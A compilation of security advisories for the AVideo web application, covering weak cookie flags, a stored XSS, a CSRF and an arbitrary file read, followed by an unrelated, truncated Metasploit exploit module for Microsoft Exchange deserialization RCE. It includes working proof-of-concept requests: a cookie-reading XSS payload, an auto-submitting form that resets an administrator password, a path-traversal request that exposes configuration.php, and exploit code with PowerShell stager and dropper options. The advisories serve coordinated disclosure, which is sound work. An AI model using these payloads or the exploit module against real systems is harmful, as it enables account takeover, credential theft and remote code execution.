An information disclosure vulnerability exists in the cookie functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. The session cookie and the pass cookie miss the HttpOnly flag, making them accessible via JavaScript. The session cookie also misses the secure flag, which allows the session cookie to be leaked over non-HTTPS connections. This could allow an attacker to steal the session cookie via crafted HTTP requests.This vulnerability is for the pass cookie, which contains the hashed password and can be leaked via JavaScript.

**SUMMARY**

An information disclosure vulnerability exists in the cookie functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. The session cookie and the pass cookie miss the HttpOnly flag, making them accessible via JavaScript. The session cookie also misses the secure flag, which allows the session cookie to be leaked over non-HTTPS connections. This could allow an attacker to steal the session cookie via crafted HTTP requests.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

WWBN AVideo 11.6  
WWBN AVideo dev master commit 3f7c0364

**PRODUCT URLS**

AVideo - https://github.com/WWBN/AVideo

**CVSSv3 SCORE**

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

**CWE**

CWE-732 - Incorrect Permission Assignment for Critical Resource

**DETAILS**

AVideo is a web application, mostly written in PHP, that can be used to create an audio/video sharing website. It allows users to import videos from various sources, encode and share them in various ways. Users can sign up to the website in order to share videos, while viewers have anonymous access to the publicly-available contents. The platform provides plugins for features like live streaming, skins, YouTube uploads and more.

AVideo uses cookies to keep track of users sessions. There are two separate but similar issues that are due to missing flags during cookie creation.

**CVE-2022-32777 - Session cookie**

A session cookie is used to keep track of user sessions. The name of the session cookie is renamed depending on the installation path, as we can see in objects/include_config.php (which is included in every request):

    $global['session_name'] = md5($global['systemRootPath']);
    session_name($global['session_name']);
    

In our setup, the session name is 84b11d010cced71edffee7aa62c4eda0:

    $ echo -en /var/www/html/AVideo/|md5sum
    84b11d010cced71edffee7aa62c4eda0
    

In that same file, session_start() is called to start a session:

    if (empty($doNotStartSessionbaseIncludeConfig)) {
        $config = new Configuration();
        session_write_close();
    
        // server should keep session data for AT LEAST 1 hour
        ini_set('session.gc_maxlifetime', $config->getSession_timeout());
    
        // each client should remember their session id for EXACTLY 1 hour
        session_set_cookie_params($config->getSession_timeout());
    
        //Fix “set SameSite cookie to none” warning
        if (version_compare(PHP_VERSION, '7.3.0') >= 0) {
            setcookie('key', 'value', ['samesite' => 'None', 'secure' => true]);
        } else {
            header('Set-Cookie: cross-site-cookie=name; SameSite=None; Secure');
            setcookie('key', 'value', time() + $config->getSession_timeout(), '/; SameSite=None; Secure');
        }
    
        session_start();
    }
    

We can see that some part of the configuration is changed at runtime via ini_set. However, two important parameter configurations are missing for the session cookie: session.cookie_secure and session.cookie_httponly. This means that the cookie will get the php.ini values, which, unless set manually, has a default of 0 in PHP.

We can see the secure and HttpOnly flags are missing by doing a simple request:

    $ curl -kv https://192.168.1.200/user 2>&1 | grep 84b11d010cced71edffee7aa62c4eda0
    < Set-Cookie: 84b11d010cced71edffee7aa62c4eda0=5s2kdm4sgpte26q0sh5uac3hgd; expires=Fri, 03-Jun-2022 17:44:40 GMT; Max-Age=3600; path=/
    

This issue allows the session cookie to be leaked on non-HTTPS requests (for cookie_secure), and it also allows the cookie to be read via Javascript (for cookie_httponly), for example as a secondary step during an XSS exploitation. This cookie can then be used, in the worst case, to login to the website as administrator.

**CVE-2022-32778 - “pass” cookie**

The pass cookie is set in objects/user.php during login:

    class User {
        ...
        public function login($noPass = false, $encodedPass = false, $ignoreEmailVerification = false) {
            ...
            _setcookie("pass", $user['password'], $expires);
    

_setcookie is defined in objects/functions.php:

    function _setcookie($cookieName, $value, $expires = 0) {
        if (empty($expires)) {
            if (empty($config) || !is_object($config)) {
                $config = new Configuration();
            }
            $expires = time() + $config->getSession_timeout();
        }
    
        if (version_compare(phpversion(), '7.3', '>=')) {
            $cookie_options = [
                'expires' => $expires,
                'path' => '/',
                'domain' => getDomain(),
                'secure' => true,
                'httponly' => false,         // [1]
                'samesite' => 'None'
            ];
            return setcookie($cookieName, $value, $cookie_options);
        } else {
            return setcookie($cookieName, $value, (int) $expires, "/", getDomain());
        }
    }
    

At \[1\] we can see the code explicitly sets ‘httponly’ to false, which will allow Javascript to access the pass value.

The content of the pass cookie is a hash of the password value:

    // in objects/user.php
    public function setPassword($password, $doNotEncrypt = false) {
        if (!empty($password)) {
            if ($doNotEncrypt) {
                $this->password = ($password);
            } else {
                $this->password = encryptPassword($password);
            }
        }
    }
    
    // in objects/functions.php
    function encryptPassword($password, $noSalt = false) {
        global $advancedCustom, $global, $advancedCustomUser;
        if (!empty($advancedCustomUser->encryptPasswordsWithSalt) && !empty($global['salt']) && empty($noSalt)) {
            $password .= $global['salt']; // [2]
        }
    
        return md5(hash("whirlpool", sha1($password)));
    }
    

The salt that is used at \[2\] is fixed for the whole installation, and is set in configuration.php. This means that the lifetime of a hashed password is as long as the password itself (unless the salt is changed and all passwords get updated).

Moreover, the pass value, even if hashed, can be used to login without possessing the password itself, because of the function used to verify the password, defined in objects/functions.php:

    function encryptPasswordVerify($password, $hash, $encodedPass = false) {
        global $advancedCustom, $global;
        if (!$encodedPass || $encodedPass === 'false') {
            //_error_log("encryptPasswordVerify: encrypt");
            $passwordSalted = encryptPassword($password);
            // in case you enable the salt later
            $passwordUnSalted = encryptPassword($password, true);
        } else {
            //_error_log("encryptPasswordVerify: do not encrypt");
            $passwordSalted = $password;
            // in case you enable the salt later
            $passwordUnSalted = $password;
        }
        //_error_log("passwordSalted = $passwordSalted,  hash=$hash, passwordUnSalted=$passwordUnSalted");
        return $passwordSalted === $hash || $passwordUnSalted === $hash || $password === $hash;  // [3]
    }
    

At \[3\] we can see that a valid password is the password itself, its salted hash and also its unsalted hash. So, having this cookie set without the HttpOnly flag allows any XSS attack to retrieve a hash which is equivalent to a password, and, in the worst case, can be used to login to the website as administrator.

We can see the secure flag is missing by doing a simple request:

    $ curl -kv 'https://192.168.1.200/objects/login.json.php' \
      -X POST --data-raw 'user=user1&pass=user123&rememberme=false' 2>&1 | grep "Set-Cookie: pass"
    < Set-Cookie: pass=9e0f453febd664afe850cddb516a8415; expires=Fri, 03-Jun-2022 21:21:01 GMT; Max-Age=3600; path=/; domain=192.168.1.200; secure; SameSite=None
    

**VENDOR RESPONSE**

Vendor confirms issues fixed on July 7th 2022

**TIMELINE**

2022-06-29 - Initial Vendor Contact  
2022-07-05 - Vendor Disclosure  
2022-07-07 - Vendor Patch Release  
2022-08-16 - Public Release

Discovered by Claudio Bozzato of Cisco Talos.

CVE-2022-32778: TALOS-2022-1542 || Cisco Talos Intelligence Group

A cross-site scripting (xss) vulnerability exists in the videoAddNew functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get an authenticated user to send a crafted HTTP request to trigger this vulnerability.

**SUMMARY**

A cross-site scripting (xss) vulnerability exists in the videoAddNew functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get an authenticated user to send a crafted HTTP request to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

WWBN AVideo 11.6  
WWBN AVideo dev master commit 3f7c0364

**PRODUCT URLS**

AVideo - https://github.com/WWBN/AVideo

**CVSSv3 SCORE**

9.0 - CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

**CWE**

CWE-79 - Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)

**DETAILS**

AVideo is a web application, mostly written in PHP, that can be used to create an audio/video sharing website. It allows users to import videos from various sources, encode and share them in various ways. Users can sign up to the website in order to share videos, while viewers have anonymous access to the publicly-available contents. The platform provides plugins for features like live streaming, skins, YouTube uploads and more.

By making a POST request to objects/videoAddNew.json.php it’s possible to add a new video in AVideo. This request can be performed by an authenticated user with video upload permissions.

    require_once 'video.php';
    
    // [1]
    if (!empty($_POST['id'])) {
        if (!Video::canEdit($_POST['id']) && !Permissions::canModerateVideos()) {
            die('{"error":"2 ' . __("Permission denied") . '"}');
        }
    }
    
    ...
    
    $obj = new Video($_POST['title'], "", @$_POST['id']); // [2]
    
    TimeLogEnd(__FILE__, __LINE__);
    
    $obj->setClean_Title($_POST['clean_title']);
    $audioLinks = ['mp3', 'ogg'];
    $videoLinks = ['mp4', 'webm', 'm3u8'];
    TimeLogEnd(__FILE__, __LINE__);
    // [3]
    if (!empty($_POST['videoLink'])) {
        //var_dump($config->getEncoderURL()."getLinkInfo/". base64_encode($_POST['videoLink']));exit;
        $path_parts = pathinfo($_POST['videoLink']);
        $extension = strtolower(@$path_parts["extension"]);
        // [4]
        if (empty($_POST['id']) && !(in_array($extension, $audioLinks) || in_array($extension, $videoLinks))) {
            $getLinkInfo = $config->getEncoderURL() . "getLinkInfo/" . base64_encode($_POST['videoLink']);
            _error_log('videoAddNew: '.$getLinkInfo);
            $info = url_get_contents($getLinkInfo, '', 180, true);
            $infoObj = _json_decode($info);
            $paths = Video::getNewVideoFilename();
            $filename = $paths['filename'];
            $filename = $obj->setFilename($filename);
            if (is_object($infoObj)) {
                $obj->setTitle($infoObj->title);     // [5]
                $obj->setClean_title($infoObj->title);
                $obj->setDuration($infoObj->duration);
                $obj->setDescription($infoObj->description);
                file_put_contents($global['systemRootPath'] . "videos/{$filename}.jpg", base64_decode($infoObj->thumbs64));
            }
            $_POST['videoLinkType'] = "embed";
        }
        // [4]
        elseif (empty($_POST['id'])) {
            $paths = Video::getNewVideoFilename();
            $filename = $paths['filename'];
            $filename = $obj->setFilename($filename);
            $obj->setTitle($path_parts["filename"]);   // [5]
            $obj->setClean_title($path_parts["filename"]);
            $obj->setDuration("");
            $obj->setDescription(@$_POST['description']);
            $_POST['videoLinkType'] = "linkVideo";
        }
        $obj->setVideoLink($_POST['videoLink']);
    ...
    // [6]
    $resp = $obj->save(true);
    

At \[1\], the code checks if the user making the request has permission to edit the video supplied via id (unless empty).  
At \[2\], a new Video object is created, whose class is defined in video.php.  
At \[3\], the code allows the user to send a videoLink parameter, containing a link to a video that will be downloaded by AVideo and stored as the new video being added.  
At \[4\], the code takes different paths depending on whether the videoLink contains a known extension. This path doesn’t matter for the purposes of this advisory; it’s enough to note that both paths set a title \[5\] that is not controlled by the parameters sent in the current request.  
Finally, the new video object is saved into the database \[6\].

Note that if paths at \[4\] are not taken, setTitle is not called, so the title set at \[2\] is the one that will be used for the video. In order to not take the paths at \[4\], it’s enough to edit a video by calling this same page again and supplying a video id. This way the two conditions at \[4\] are not satisfied, since $_POST['id'] is not empty, allowing a user to change the video password at will.

Let’s check what happens when creating the Video object at \[2\]:

    class Video {
    ...
    public function __construct($title = "", $filename = "", $id = 0) {
        global $global;
        $this->rotation = 0;
        $this->zoom = 1;
        if (!empty($id)) {
            $this->load($id);
        }
        if (!empty($title)) {
            $this->setTitle($title); // [7]
        }
        if (!empty($filename)) {
            $this->filename = $filename;
        }
    }
    

We see we’ll end up calling setTitle \[7\]:

    public function setTitle($title) {
        if ($title === "Video automatically booked" && !empty($this->title)) {
            return false;
        }
        $new_title = strip_tags($title);
        if (strlen($new_title) > 190) {
            $new_title = substr($new_title, 0, 187) . '...';
        }
        AVideoPlugin::onVideoSetTitle($this->id, $this->title, $new_title);
        $this->title = $new_title;
    }
    

Besides string truncation and a plugin hook, there’s no explicit sanitization of the video title.

getTitle is used as interface to retrieve the video object title, which simply returns the title property:

    public function getTitle() {
        return $this->title;
    }
    

The lack of sanitization does not represent a security issue at this stage. However, there’s no sanitization in a later stage, when the videos are presented on the page. The issue is in the function getVideosListItem in objects/video.php:

        public static function getVideosListItem($videos_id, $divID = '', $style = '') {
            ...
            $objGallery = AVideoPlugin::getObjectData("Gallery");
            $program = AVideoPlugin::loadPluginIfEnabled('PlayLists');
            $template = $global['systemRootPath'] . 'view/videosListItem.html';
            $templateContent = file_get_contents($template);
            $value = Video::getVideoLight($videos_id);     // [8]
            $link = Video::getLink($value['id'], $value['clean_title'], "", $get);
            if (!empty($_GET['page']) && $_GET['page'] > 1) {
                $link = addQueryStringParameter($link, 'page', $_GET['page']);
            }
    
            $title = $value['title']; // [9]
            ...
            // [10]
            if (!empty($imgGif)) {
                $imgGifHTML = '<img src="' . getCDN() . 'view/img/loading-gif.png" data-src="' . $imgGif .
                              '" style="position: absolute; top: 0; display: none;" alt="' . $title . 
                              '" id="thumbsGIF' . $videos_id . '" class="thumbsGIF img-responsive" height="130" />';
            }
            ...
            $search = [
                ...
                '{imgGifHTML}',
                '{timeHTML}',
                '{loggedUserHTML}',
                ...
            ];
    
            $replace = [
                ...
                $imgGifHTML,
                $timeHTML,
                $loggedUserHTML,
                ...
            ];
            $btnHTML = @str_replace($search,$replace,$templateContent); // [11]
            return $btnHTML;
        }
    

At \[8\] the requested video is fetched from the database, via the function getVideoLight:

        public static function getVideoLight($id) {
            global $global, $config;
            $id = intval($id);
            $sql = "SELECT * FROM videos WHERE id = ? LIMIT 1";
            $res = sqlDAL::readSql($sql, 'i', [$id], true);
            $video = sqlDAL::fetchAssoc($res);
            sqlDAL::close($res);
            return $video;
        }
    

At \[9\] the title is extracted from the row, meaning it’s unsanitized. At \[10\] the $title is inserted direcly in an HTML string, which is eventually inserted in a bigger template \[11\] and returned.

Any view that is using getVideosListItem will trigger the stored XSS, which includes the following files:

*   view/modeYoutubeBottomRight.php
*   view/videoViewsInfo.php
*   view/videosList.php

Any other page including the pages above will clearly also trigger the XSS. The simplest way to trigger it is to visit the page for the video that contains the XSS in its title. For example, when requesting https://192.168.1.200/video/123, where 123 is the video id, AVideo internally redirects the request to https://192.168.1.200/view/index.php?v=123. Eventually, view/videosList.php is included in the page.

This issue can be used by an attacker, in the worst case, to take over an administrator account. Note that while this requires user interaction, it is very easy to trigger because the video list items are printed via several different pages.

**Exploit Proof of Concept**

First, an attacker can create a video by importing a video (https://192.168.1.200/video/48) already present in the platform.

    curl -k --cookie '84b11d010cced71edffee7aa62c4eda0=uot19510578r10nohk91j0sunb' --data-raw 'public=true&only_for_paid=false&videoLink=https://192.168.1.200/video/48' 'https://192.168.1.200/objects/videoAddNew.json.php'
    
    {
        "status": true,
        "msg": "",
        "info": "...",
        "videos_id": 135,
        "video":
        {
            "id": 135,
            "title": "sample",
            "clean_title": "sample",
            "description": "",
            ...
            "videoLink": "https://192.168.1.200/video/48",
            "next_videos_id": null,
            "isSuggested": 0,
            ...
        },
        "clearFirstPageCache": true
    }
    

A video has been created with id 135. The title is taken from the video with id 48; however, it can be changed with an XSS payload:

    curl -k --cookie '84b11d010cced71edffee7aa62c4eda0=uot19510578r10nohk91j0sunb' --data-raw 'id=133&title=%22+style=%22animation-name:bounce%22+onanimationstart=%22alert(document.cookie)%22' 'https://192.168.1.200/objects/videoAddNew.json.php'
    

Because the video list can be hidden, the Javascript might not trigger. An attacker can bypass this by using the onanimationstart event, to force the browser to execute any Javascript code on page load.

At this point the XSS has been stored, and it can be triggered by any user that visits the page https://192.168.1.200/video/135.

**VENDOR RESPONSE**

Vendor confirms issues fixed on July 7th 2022

**TIMELINE**

2022-06-29 - Initial Vendor Contact  
2022-07-05 - Vendor Disclosure  
2022-07-07 - Vendor Patch Release  
2022-08-16 - Public Release

Discovered by Claudio Bozzato of Cisco Talos.

CVE-2022-28712: TALOS-2022-1540 || Cisco Talos Intelligence Group

A cross-site request forgery (CSRF) vulnerability exists in WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to increased privileges. An attacker can get an authenticated user to send a crafted HTTP request to trigger this vulnerability.

**SUMMARY**

A cross-site request forgery (CSRF) vulnerability exists in WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to increased privileges. An attacker can get an authenticated user to send a crafted HTTP request to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

WWBN AVideo 11.6  
WWBN AVideo dev master commit 3f7c0364

**PRODUCT URLS**

AVideo - https://github.com/WWBN/AVideo

**CVSSv3 SCORE**

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

**CWE**

CWE-352 - Cross-Site Request Forgery (CSRF)

**DETAILS**

AVideo is a web application, mostly written in PHP, that can be used to create an audio/video sharing website. It allows users to import videos from various sources, encode and share them in various ways. Users can sign up to the website in order to share videos, while viewers have anonymous access to the publicly-available contents. The platform provides plugins for features like live streaming, skins, YouTube uploads and more.

AVideo lacks any Cross-Site Request Forgery protection across the whole application. This means that AVideo has no ability to make sure that a request is intentionally made by the user that performed it.

The simplest way to show how this can be exploited is via the password change feature. To change their own password, a logged-in user can make a request like the following:

    curl -k 'https://192.168.1.200/objects/userUpdate.json.php' \
      -H 'Cookie: 84b11d010cced71edffee7aa62c4eda0=123456;' \
      --data-raw 'user=admin&pass=newpass'
    

An attacker can trick an administrator into visiting a website that does that same request in the background, leading to a password change where the password is controlled by the attacker. A simple example of such a malicious page is the following:

    <form id='csrf' method='POST' action='https://192.168.1.200/objects/userUpdate.json.php'>
      <input type='hidden' name='user' value='admin'>
      <input type='hidden' name='pass' value='newpass'>
    </form>
    <script>document.getElementById("csrf").submit()</script>
    

Where 192.168.1.200 is more likely the hostname where the AVideo website is hosted. Such a page could be hosted on any attacker-controlled host. Once loaded it will just show a blank page; however, the POST request will automatically happen in the background. If the victim is logged into the AVideo website as administrator, their password will change into “newpass”.

**VENDOR RESPONSE**

Vendor confirms issues fixed on July 7th 2022

**TIMELINE**

2022-06-29 - Initial Vendor Contact  
2022-07-05 - Vendor Disclosure  
2022-07-07 - Vendor Patch Release  
2022-08-16 - Public Release

Discovered by Claudio Bozzato of Cisco Talos.

CVE-2022-29468: TALOS-2022-1534 || Cisco Talos Intelligence Group

An information disclosure vulnerability exists in the chunkFile functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary file read. An attacker can send an HTTP request to trigger this vulnerability.

**SUMMARY**

An information disclosure vulnerability exists in the chunkFile functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary file read. An attacker can send an HTTP request to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

WWBN AVideo 11.6  
WWBN AVideo dev master commit 3f7c0364

**PRODUCT URLS**

AVideo - https://github.com/WWBN/AVideo

**CVSSv3 SCORE**

6.5 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

**CWE**

CWE-73 - External Control of File Name or Path

**DETAILS**

AVideo is a web application, mostly written in PHP, that can be used to create an audio/video sharing website. It allows users to import videos from various sources, encode and share them in various ways. Users can sign up to the website in order to share videos, while viewers have anonymous access to the publicly-available contents. The platform provides plugins for features like live streaming, skins, YouTube uploads and more.

The objects/aVideoEncoder.json.php file can be used to add new videos. This functionality does not need special configuration to be used. However, the user performing the request needs permission to upload videos.

When adding a new video, a downloadURL can be specified, so that AVideo fetches the url content and adds it as a video. Alternatively, a user can supply a file directly via chunkFile:

    ...
    if (empty($_FILES['video']['tmp_name']) && !empty($_POST['chunkFile'])) {
        $_FILES['video']['tmp_name'] = $_POST['chunkFile'];  // [1]
    }
    
    // get video file from encoder
    if (!empty($_FILES['video']['tmp_name'])) {
        ...
        _error_log("aVideoEncoder.json: receiving video upload to {$filename} filesize=" . ($fsize) . " (" . humanFileSize($fsize) . ")" . json_encode($_FILES));
        $destinationFile = decideMoveUploadedToVideos($_FILES['video']['tmp_name'], $filename); // [2]
    ...
    

At \[1\], the chunkFile parameter is read and used at \[2\] when calling decideMoveUploadedToVideos (passed as $tmp_name).

    function decideMoveUploadedToVideos($tmp_name, $filename, $type = "video") {
        ...
        $path_info = pathinfo($filename);
        // [3]
        if ($type !== "zip" && $path_info['extension'] === 'zip') {
            _error_log("decideMoveUploadedToVideos: ZIp file {$filename}");
            $paths = Video::getPaths($path_info['filename']);
            $dir = $paths['path'];
            unzipDirectory($tmp_name, $dir); // unzip it
            cleanDirectory($dir);
            if (!empty($aws_s3)) {
                //$aws_s3->move_uploaded_file($tmp_name, $filename);
            } elseif (!empty($bb_b2)) {
                $bb_b2->move_uploaded_directory($dir);
            } elseif (!empty($ftp)) {
                //$ftp->move_uploaded_file($tmp_name, $filename);
            }
        } else {
            // [4]
            _error_log("decideMoveUploadedToVideos: NOT ZIp file {$filename}");
            if (!empty($aws_s3)) {
                _error_log("decideMoveUploadedToVideos: S3 {$filename}");
                $aws_s3->move_uploaded_file($tmp_name, $filename);
            } elseif (!empty($bb_b2)) {
                _error_log("decideMoveUploadedToVideos: B2 {$filename}");
                $bb_b2->move_uploaded_file($tmp_name, $filename);
            } elseif (!empty($ftp)) {
                _error_log("decideMoveUploadedToVideos: FTP {$filename}");
                $ftp->move_uploaded_file($tmp_name, $filename);
            } else {
                _error_log("decideMoveUploadedToVideos: Local {$filename}");
                if (!move_uploaded_file($tmp_name, $destinationFile)) { // [5]
                    if (!rename($tmp_name, $destinationFile)) {         // [6]
                        if (!copy($tmp_name, $destinationFile)) {       // [7]
                            $obj->msg = "Error on decideMoveUploadedToVideos({$tmp_name}, $destinationFile)";
                            die(json_encode($obj));
                        }
                    }
                }
    

At \[3\] the code checks if we’re handling a zip file. We’re not, so we land at \[4\], where eventually the code tries to handle $tmp_name as an uploaded file \[5\]. That will fail since nothing has been uploaded, so the code will try to rename \[6\] or copy \[7\] $tmp_name (fully controlled by the attacker) to $destinationFile. When no special parameters are sent in the request, $destinationFile will simply be “.mp4”. This can be used by an attacker to retrieve any file in the host; for example, it’s possible to retrieve videos/configuration.php, which contains database credentials, possibly leading to privilege escalation.

**Exploit Proof of Concept**

This proof-of-concept retrieves configuration.php (beware, the file will be moved):

    $ curl -k $'https://192.168.1.200/objects/aVideoEncoder.json.php' \
        -H 'Cookie: 84b11d010cced71edffee7aa62c4eda0=ia8sm01gdn8kar80bp0q5bsp9l' \
        --data-raw $'format=mp4&chunkFile=../videos/configuration.php'
    
    $ curl -k $'https://192.168.1.200/videos/.mp4'
    <?php
    $global['configurationVersion'] = 3.1;
    $global['disableAdvancedConfigurations'] = 0;
    $global['videoStorageLimitMinutes'] = 0;
    $global['disableTimeFix'] = 0;
    $global['logfile'] = '/var/www/html/AVideo/videos/avideo.log';
    ...
    

**VENDOR RESPONSE**

Vendor confirms issues fixed on July 7th 2022

**TIMELINE**

2022-06-29 - Initial Vendor Contact  
2022-07-05 - Vendor Disclosure  
2022-07-07 - Vendor Patch Release  
2022-08-16 - Public Release

Discovered by Claudio Bozzato of Cisco Talos.

CVE-2022-28710: TALOS-2022-1550 || Cisco Talos Intelligence Group

This Metasploit module exploits vulnerabilities within the ChainedSerializationBinder as used in Exchange Server 2019 CU10, Exchange Server 2019 CU11, Exchange Server 2016 CU21, and Exchange Server 2016 CU22 all prior to Mar22SU. Note that authentication is required to exploit these vulnerabilities.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'nokogiri'class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  include Msf::Exploit::Powershell  include Msf::Exploit::Remote::HTTP::Exchange  include Msf::Exploit::Deprecated  moved_from 'exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce'  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Microsoft Exchange Server ChainedSerializationBinder RCE',        'Description' => %q{          This module exploits vulnerabilities within the ChainedSerializationBinder as used in          Exchange Server 2019 CU10, Exchange Server 2019 CU11, Exchange Server 2016 CU21, and          Exchange Server 2016 CU22 all prior to Mar22SU.          Note that authentication is required to exploit these vulnerabilities.        },        'Author' => [          'pwnforsp', # Original Bug Discovery          'zcgonvh', # Of 360 noah lab, Original Bug Discovery          'Microsoft Threat Intelligence Center', # Discovery of exploitation in the wild          'Microsoft Security Response Center', # Discovery of exploitation in the wild          'peterjson', # Writeup          'testanull', # PoC Exploit          'Grant Willcox', # Aka tekwizz123. That guy in the back who took the hard work of all the people above and wrote this module :D          'Spencer McIntyre', # CVE-2022-23277 support and DataSet gadget chains          'Markus Wulftange' # CVE-2022-23277 research        ],        'References' => [          # CVE-2021-42321 references          ['CVE', '2021-42321'],          ['URL', 'https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321'],          ['URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-november-9-2021-kb5007409-7e1f235a-d41b-4a76-bcc4-3db90cd161e7'],          ['URL', 'https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169'],          ['URL', 'https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398'],          ['URL', 'https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852'],          # CVE-2022-23277 references          ['CVE', '2022-23277'],          ['URL', 'https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html'],          ['URL', 'https://testbnull.medium.com/note-nhanh-v%E1%BB%81-binaryformatter-binder-v%C3%A0-cve-2022-23277-6510d469604c']        ],        'DisclosureDate' => '2021-12-09',        'License' => MSF_LICENSE,        'Platform' => 'win',        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],        'Privileged' => true,        'Targets' => [          [            'Windows Command',            {              'Arch' => ARCH_CMD,              'Type' => :win_cmd            }          ],          [            'Windows Dropper',            {              'Arch' => [ARCH_X86, ARCH_X64],              'Type' => :win_dropper,              'DefaultOptions' => {                'CMDSTAGER::FLAVOR' => :psh_invokewebrequest              }            }          ],          [            'PowerShell Stager',            {              'Arch' => [ARCH_X86, ARCH_X64],              'Type' => :psh_stager            }          ]        ],        'DefaultTarget' => 0,        'DefaultOptions' => {          'SSL' => true,          'HttpClientTimeout' => 5,          'WfsDelay' => 10        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [            IOC_IN_LOGS, # Can easily log using advice at https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169            CONFIG_CHANGES # Alters the user configuration on the Inbox folder to get the payload to trigger.          ]        }      )    )    register_options([      Opt::RPORT(443),      OptString.new('TARGETURI', [true, 'Base path', '/']),      OptString.new('HttpUsername', [true, 'The username to log into the Exchange server as']),      OptString.new('HttpPassword', [true, 'The password to use to authenticate to the Exchange server'])    ])  end  def post_auth?    true  end  def username    datastore['HttpUsername']  end  def password    datastore['HttpPassword']  end  def cve_2021_42321_vuln_builds    # https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019    [      '15.1.2308.8', '15.1.2308.14', '15.1.2308.15', # Exchange Server 2016 CU21      '15.1.2375.7', '15.1.2375.12', # Exchange Server 2016 CU22      '15.2.922.7', '15.2.922.13', '15.2.922.14', # Exchange Server 2019 CU10      '15.2.986.5', '15.2.986.9' # Exchange Server 2019 CU11    ]  end  def cve_2022_23277_vuln_builds    # https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019    [      '15.1.2308.20', # Exchange Server 2016 CU21 Nov21SU      '15.1.2308.21', # Exchange Server 2016 CU21 Jan22SU      '15.1.2375.17', # Exchange Server 2016 CU22 Nov21SU      '15.1.2375.18', # Exchange Server 2016 CU22 Jan22SU      '15.2.922.19', # Exchange Server 2019 CU10 Nov21SU      '15.2.922.20', # Exchange Server 2019 CU10 Jan22SU      '15.2.986.14', # Exchange Server 2019 CU11 Nov21SU      '15.2.986.15'  # Exchange Server 2019 CU11 Jan22SU    ]  end  def check    # Note we are only checking official releases here to reduce requests when checking versions with exchange_get_version    current_build_rex = exchange_get_version(exchange_builds: cve_2021_42321_vuln_builds + cve_2022_23277_vuln_builds)    if current_build_rex.nil?      return CheckCode::Unknown("Couldn't retrieve the target Exchange Server version!")    end    @exchange_build = current_build_rex.to_s    if cve_2021_42321_vuln_builds.include?(@exchange_build)      CheckCode::Appears("Exchange Server #{@exchange_build} is vulnerable to CVE-2021-42321")    elsif cve_2022_23277_vuln_builds.include?(@exchange_build)      CheckCode::Appears("Exchange Server #{@exchange_build} is vulnerable to CVE-2022-23277")    else      CheckCode::Safe("Exchange Server #{@exchange_build} does not appear to be a vulnerable version!")    end  end  def exploit    if @exchange_build.nil? # make sure the target build is known and if it's not (because the check was skipped), get it      @exchange_build = exchange_get_version(exchange_builds: cve_2021_42321_vuln_builds + cve_2022_23277_vuln_builds)&.to_s      if @exchange_build.nil?        fail_with(Failure::Unknown, 'Failed to identify the target Exchange Server build version.')      end    end    if cve_2021_42321_vuln_builds.include?(@exchange_build)      @gadget_chain = :ClaimsPrincipal    elsif cve_2022_23277_vuln_builds.include?(@exchange_build)      @gadget_chain = :DataSetTypeSpoof    else      fail_with(Failure::NotVulnerable, "Exchange Server #{@exchange_build} is not a vulnerable version!")    end    case target['Type']    when :win_cmd      execute_command(payload.encoded)    when :win_dropper      execute_cmdstager    when :psh_stager      execute_command(cmd_psh_payload(        payload.encoded,        payload.arch.first,        remove_comspec: true      ))    end  end  def execute_command(cmd, _opts = {})    # Get the user's inbox folder's ID and change key ID.    print_status("Getting the user's inbox folder's ID and ChangeKey ID...")    xml_getfolder_inbox = %(<?xml version="1.0" encoding="utf-8"?>    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 